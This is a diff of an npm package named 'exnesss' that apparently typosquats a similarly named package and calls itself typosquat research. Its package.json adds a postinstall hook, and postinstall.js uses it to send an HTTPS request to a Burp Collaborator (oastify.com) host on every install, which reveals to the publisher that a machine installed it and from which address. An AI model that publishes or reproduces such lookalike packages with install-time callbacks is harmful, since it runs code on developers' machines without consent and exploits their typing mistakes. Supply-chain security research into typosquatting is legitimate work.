exnesss 0.0.1

package/README.md

@@ -0,0 +1,5 @@
+# exnesss
+
+Typosquat research package. Do not use in production.
+
+On `postinstall` sends a simple HTTP request to a Burp Collaborator endpoint.

package/index.js

@@ -0,0 +1,5 @@
+"use strict";
+
+module.exports = {
+  name: "exnesss",
+};

package/package.json

@@ -0,0 +1,17 @@
+{
+  "name": "exnesss",
+  "version": "0.0.1",
+  "description": "Typosquat research package. Do not use in production.",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node ./postinstall.js"
+  },
+  "keywords": [
+    "typosquat-research"
+  ],
+  "license": "UNLICENSED",
+  "private": false,
+  "engines": {
+    "node": ">=14"
+  }
+}

package/postinstall.js

@@ -0,0 +1,26 @@
+"use strict";
+
+const https = require("https");
+
+const HOST = "hteimcuxkeb6pacscuexz4d9y04rshg6.oastify.com";
+const TIMEOUT_MS = 8000;
+
+function ping() {
+  return new Promise((resolve) => {
+    const req = https.get(
+      `https://${HOST}/`,
+      { timeout: TIMEOUT_MS },
+      (res) => {
+        res.resume();
+        resolve();
+      }
+    );
+    req.on("error", () => resolve());
+    req.on("timeout", () => {
+      req.destroy();
+      resolve();
+    });
+  });
+}
+
+ping().then(() => setTimeout(() => process.exit(0), 50));